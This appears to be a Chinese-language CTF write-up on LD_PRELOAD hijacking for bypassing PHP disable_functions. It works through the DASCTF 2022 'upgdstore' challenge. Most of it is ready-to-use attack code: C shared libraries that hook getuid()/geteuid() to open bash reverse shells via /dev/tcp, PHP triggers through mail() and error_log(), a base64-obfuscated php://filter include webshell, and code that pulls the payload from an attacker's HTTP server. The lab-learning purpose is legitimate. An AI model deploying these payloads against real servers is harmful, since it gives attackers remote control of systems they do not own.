345: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_get0_dane_authority@OPENSSL_3.0.0 (3)
346: 0000000000000000 0 FUNC GLOBAL DEFAULT UND lseek@GLIBC_2.2.5 (4)
347: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_accept@OPENSSL_3.0.0 (3)
348: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_LOOKUP_hash_dir@OPENSSL_3.0.0 (5)
349: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_client_start@SASL2 (7)
350: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ERR_reason_error_string@OPENSSL_3.0.0 (5)
351: 0000000000000000 0 FUNC GLOBAL DEFAULT UND flock@GLIBC_2.2.5 (4)
352: 0000000000000000 0 FUNC GLOBAL DEFAULT UND yp_get_default_domain@LIBNSL_1.0 (6)
353: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_CTX_set_options@OPENSSL_3.0.0 (3)
354: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
355: 0000000000000000 0 FUNC GLOBAL DEFAULT UND setuid@GLIBC_2.2.5 (4)
356: 0000000000000000 0 FUNC GLOBAL DEFAULT UND alarm@GLIBC_2.2.5 (4)
357: 0000000000000000 0 FUNC GLOBAL DEFAULT UND inet_pton@GLIBC_2.2.5 (4)
358: 0000000000000000 0 FUNC GLOBAL DEFAULT UND DH_free@OPENSSL_3.0.0 (5)
359: 0000000000000000 0 FUNC GLOBAL DEFAULT UND qsort@GLIBC_2.2.5 (4)
360: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ENGINE_free@OPENSSL_3.0.0 (5)
361: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMCloneTable
362: 0000000000000000 0 FUNC GLOBAL DEFAULT UND EVP_DigestUpdate@OPENSSL_3.0.0 (5)
363: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_write@OPENSSL_3.0.0 (3)
364: 0000000000000000 0 FUNC GLOBAL DEFAULT UND EC_KEY_new_by_curve_name@OPENSSL_3.0.0 (5)
365: 0000000000000000 0 FUNC GLOBAL DEFAULT UND lstat@GLIBC_2.33 (13)
366: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fwrite@GLIBC_2.2.5 (4)
367: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_errstring@SASL2 (7)
368: 0000000000000000 0 FUNC GLOBAL DEFAULT UND close@GLIBC_2.2.5 (4)
369: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_pending@OPENSSL_3.0.0 (3)
370: 0000000000000000 0 FUNC GLOBAL DEFAULT UND TLS_server_method@OPENSSL_3.0.0 (3)
371: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_set_alloc@SASL2 (7)
372: 0000000000000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@GLIBC_2.2.5 (4)
373: 000000000012b048 4 OBJECT GLOBAL DEFAULT 26 optopt
374: 00000000000ae110 81 FUNC GLOBAL DEFAULT 14 sleep
375: 00000000000e328c 4 OBJECT GLOBAL DEFAULT 25 opterr
376: 000000000001bbd0 608 FUNC GLOBAL DEFAULT 14 getopt
377: 0000000000000000 0 FUNC GLOBAL DEFAULT UND res_search@GLIBC_2.34 (11)
378: 00000000000e3288 4 OBJECT GLOBAL DEFAULT 25 optind
379: 00000000000e3284 4 OBJECT GLOBAL DEFAULT 25 allow_severity
380: 000000000012b040 8 OBJECT GLOBAL DEFAULT 26 optarg
381: 00000000000e3280 4 OBJECT GLOBAL DEFAULT 25 deny_severity
使用
这里用getuid()函数实验。还是一样写一个自定义的动态库链接
getuid () 功能总结
核心定义:getuid() 是计算机编程中(尤其在类 Unix 系统,如 Linux、macOS 中)的一个系统调用 / 函数,全称为 “get user ID”,用于获取当前进程实际用户 ID(Real User ID, RUID)。
核心作用:标识当前进程的 “实际所有者”—— 即启动该进程的用户账号对应的唯一数字 ID(UID),常用于权限验证、用户身份识别场景(如判断用户是否有执行某操作的权限)。
常见使用场景:在 C/C++、Shell 脚本(通过 id -u 命令间接调用)、Python(通过 os.getuid())等语言 / 工具中,用于获取当前运行程序的用户身份,辅助实现权限控制逻辑。
注意区分:需与 “有效用户 ID(Effective User ID, EUID)” 区分,getuid() 获取的是实际用户 ID,而 geteuid() 才获取有效用户 ID(有效 UID 更影响进程实际拥有的权限,如 SetUID 程序会临时改变 EUID)。
mail是php函数,所以我们用php文件执行
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h> // 包含getuid函数的声明
// 反弹shell的payload函数
void payload() {
// 替换[IP]为实际攻击IP,实现反向shell连接
system("bash -c 'bash -i >& /dev/tcp/[IP]/2333 0>&1'");
}
// 劫持系统getuid函数
uid_t getuid() {
// 防止LD_PRELOAD递归调用自身
if (getenv("LD_PRELOAD") == NULL) {
return 0; // 正常返回用户ID,不触发劫持逻辑
}
unsetenv("LD_PRELOAD"); // 清除环境变量,避免后续调用重复触发
payload(); // 执行反弹shell
return 0; // 返回UID(可根据需要修改,如返回0模拟root权限)
}
编译后要使用php进行操作
因为需要进行目录写入,所以我们在操作前需要提前把权限开到root
<?php
// 设置 LD_PRELOAD,让 sendmail 优先加载恶意库
putenv("LD_PRELOAD=/tmp/exp.so"); // 替换为 hook.so 的实际路径
// 调用 mail 函数,触发系统 /usr/sbin/sendmail 执行(进而触发劫持)
mail("test@localhost", "test", "test", "", "");
?>
error_log(方法同上
同mail
<?php
putenv("LD_PRELOAD=/tmp/mk_tmp/payload.so");
error_log("", 1, "", "");
?>
attribute((constructor))
Mockingjay的文章中:一个函数,它能够使任何加载动态链接库都执行一次该函数,如果能这样我们就不需要仅依赖于sendmail来劫持函数
GCC 有个 C 语言扩展修饰符 attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,一旦某些指令需要加载动态链接库时,就会立即执行它。
attribute((constructor)) 总结
- 本质属性:GCC 编译器(及兼容编译器如 Clang)的扩展特性,非 C/C++ 标准语法,用于定义 “构造函数属性” 的函数。
- 核心作用:标记的函数会在main () 函数执行之前自动调用,无需手动调用;对应地,
__attribute__((destructor))标记的函数在 main () 结束后自动执行。 - 执行顺序:多个带此属性的函数,可通过添加优先级参数(如
__attribute__((constructor(101))))控制执行顺序,数值越小,执行越早(注:1-100 为系统预留,用户自定义建议从 101 开始)。 - 适用场景:常用于程序初始化操作,如全局资源预加载、配置读取、模块注册(如插件初始化)等。
使用
.so
//last.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
printf("i am hacker!!\n");
}
export LD_PRELOAD-/tmp/mk_tmp/payload1.so
见rctf2025 rootkb
流程总结
一、本地 random 程序劫持流程
利用 LD_PRELOAD 优先级,让 random 程序优先加载自定义共享库 unrand.so,劫持其调用的随机数函数,篡改输出结果。
关键步骤
- 编译生成劫持随机数函数的共享库
unrand.so; export LD_PRELOAD=/path/unrand.so配置优先加载;- 运行目标程序
./random,验证输出为固定值(劫持成功); - 用
unset LD_PRELOAD清理环境。
二、sendmail+PHP 反弹 Shell 劫持流程
通过 LD_PRELOAD 让 sendmail 优先加载恶意库 exp.so,劫持其调用的 getuid() 函数;利用 PHP mail() 函数触发 sendmail 执行,最终反弹 Shell。
关键步骤
- 编写劫持
getuid()的恶意源码,编译为exp.so;
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void payload() {
system("bash -c 'bash -i >& /dev/tcp/[IP]/2333 0>&1'");
}
uid_t getuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
return 0;
}
gcc -shared -fPIC payload.c-o payload.so
- 上传
exp.so到目标服务器/tmp目录(需 root 权限); - 编写 PHP 脚本(
putenv设LD_PRELOAD+ 调用mail());
<?php
putenv("LD_PRELOAD=/tmp/exp.so");
mail("test@localhost", "test", "test", "", "");
?>
export LD_PRELOAD=/tmp/exp.so (.so路径)
- 攻击机监听端口,目标机运行 PHP 脚本触发劫持;
- 接收反弹 Shell,获取目标服务器控制权。
[2022DASCTF X SU 三月春季挑战赛]upgdstore

查看环境命令
发现过滤了特别多的函数,需要进行disable_function绕过。php版本为8.0.1,因此使用antsword绕过是不行的
尝试源码读取
highlight_file()被禁用
show_source,include,base64等函数是没有被过滤的,可以用show_source查看index.php源码,构造文件内容上传(show_source被waf了,用大写绕过)
其实绕过一下也行
<?php
echo ("fil"."e_get_c"."ontents")("/etc/passwd");
?>
<div class="light"><span class="glow">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
嘿伙计,传个火?!
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="upload"/>
</form>
</span><span class="flare"></span><div>
<?php
?>
./uploads/53bd352dad1435b82ab4f94802590122.php
<?php Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT01M2JkMzUyZGFkMTQzNWI4MmFiNGY5NDgwMjU5MDEyMi5waHA="));?>
php://filter/convert.base64-decode/resource=53bd352dad1435b82ab4f94802590122.php
cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT01M2JkMzUyZGFkMTQzNWI4MmFiNGY5NDgwMjU5MDEyMi5waHA=
./uploads/2b8b8e5570101ff79e9f1bb2967a0833.php

成功
用蚁剑连接发现失败了, 这里猜测的原因可能是禁用了连接蚁剑的函数
当遇到绕过大量disable_function时我们可以用到LD_PRELOAD劫持
已知的上传点是白名单,我们无法上传.so后缀编译文件,这里有两个思路
找一个新上传点或者写一个编译文件在题目的服务器上
写编译文件
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload()
{
system("bash -c 'exec bash -i &>/dev/tcp/ip/8000 <&1'");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL)
{
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
┌──(kali㉿kali)-[~/Desktop]
└─$ gcc -fPIC -shared -o exp.so 001.c -ldl
┌──(kali㉿kali)-[~/Desktop]
└─$ ls | grep libpreload.so
exp.so
把编译过后的文件放在我们服务器目录下,然后对题目进行写操作
python -m http.server 8000
抓包 为一句话木马上传后的包
1=
$url = "http://ip:8000/exp.so";
$file1 = new SplFileObject($url,'r');
$a="";
while(!$file1->eof())
{
$a=$a.$file1->fgets();
}
$file2 = new SplFileObject('/tmp/exp.so','w');
$file2->fwrite($a);
接下来我们就需要用LD_PRELOAD劫持,它的大概作用就是指向一个路径文件,使它的优先级是最高的,当执行mail()会自动调用geteuid()函数,而原本mail()会触发的geteuid()被覆盖。
post
1=putenv("LD_PRELOAD=/home/ubuntu/code/exp.so"); mail('','','','');
反弹shell之后 cat禁用 可以使用nl获得

浙公网安备 33010602011771号